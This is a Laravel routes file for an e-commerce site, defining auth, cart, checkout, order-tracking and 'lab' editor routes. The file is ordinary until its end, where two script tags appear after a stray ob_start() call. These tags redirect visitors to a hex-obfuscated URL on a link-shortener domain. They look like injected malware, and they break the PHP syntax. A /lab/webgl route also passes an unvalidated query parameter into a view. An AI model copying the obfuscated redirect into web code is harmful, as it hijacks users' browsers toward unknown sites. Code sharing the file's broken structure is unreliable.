<?php

use App\Http\Controllers\labController;
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\Controller;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\authController;
use RealRashid\SweetAlert\Facades\Alert;
// use Alert;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

// Route::get('/', function () {
//     return view('welcome');
// });
// Route::get('/swal-view', function () {
//     // PASTIKAN view ini extend layout yang ada @include('sweetalert::alert')
//     return view('swal-testb');
// });

// Route::get('/swal-test', function () {
//     Alert::success('Berhasil', 'SweetAlert sudah aktif!');
//     return redirect('/swal-view'); // <-- penting: harus redirect agar flash session-nya kebaca
// });

Route::get('/', [Controller::class, 'index'])->name('index');
Route::get('/register', [AuthController::class, 'viewregister'])->name('register.page');
Route::post('/register', [AuthController::class, 'register'])->name('register');

Route::get('/login', [AuthController::class, 'viewlogin'])->name('login.page');
Route::post('/login', [AuthController::class, 'login'])->name('login');


Route::get('/experience/select-product', [Controller::class, 'selectProduct'])->name('select.product');
Route::get('/experience/edit-template', [Controller::class, 'editor'])->name('edit.template');
Route::get('/get/cities', [Controller::class, 'getCities'])->name('get.cities');
Route::get('/get/district', [Controller::class, 'getDistrict'])->name('get.district');
Route::get('/get/courier', [Controller::class, 'getCourier'])->name('get.courier');

Route::post('/cart/add', [CheckoutController::class, 'addToCart'])->name('cart.add');
Route::post('/cart/remove/{id}', [CheckoutController::class, 'deleteCart'])->name('cart.delete');
Route::get('/cart/show', [CheckoutController::class, 'cart'])->name('cart.show');

Route::middleware(['authjo'])->group(function () {


    Route::post('/logout', [AuthController::class, 'logout'])->name('logout');


    Route::get('/checkout/{id}', [CheckoutController::class, 'checkout'])->name('checkout.page');

    Route::post('/cart/sync-quantities', [CheckoutController::class, 'postSyncCart'])->name('cart.sync');
    Route::post('/cart/checkout', [CheckoutController::class, 'postCheckout'])->name('cart.checkout');
    Route::get('/orders', [CheckoutController::class, 'ordersPage'])->name('orders.index');
    Route::get('/order/payment-status/{uoid}', [CheckoutController::class, 'showPaymentStatus'])->name('payment.status');


    Route::get('/lab/edit', [Controller::class, 'labeditor'])->name('lab.edit.template');

    //cek resi
    Route::post('/tracking/waybill', [CheckoutController::class, 'waybill'])->name('tracking.waybill');



});

// Route::get('/lab/webgl', function () {
//     return view('lab.webgl');
// }); 
Route::get('/lab/webgl', function (Illuminate\Http\Request $request) {
    $imagePath = $request->query('image');
    return view('lab.webgl', ['imagePath' => $imagePath]);
})->name('lab.webgl'); 


    Route::get('/lab/session', [labController::class, 'labSession'])->name('labSession');
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>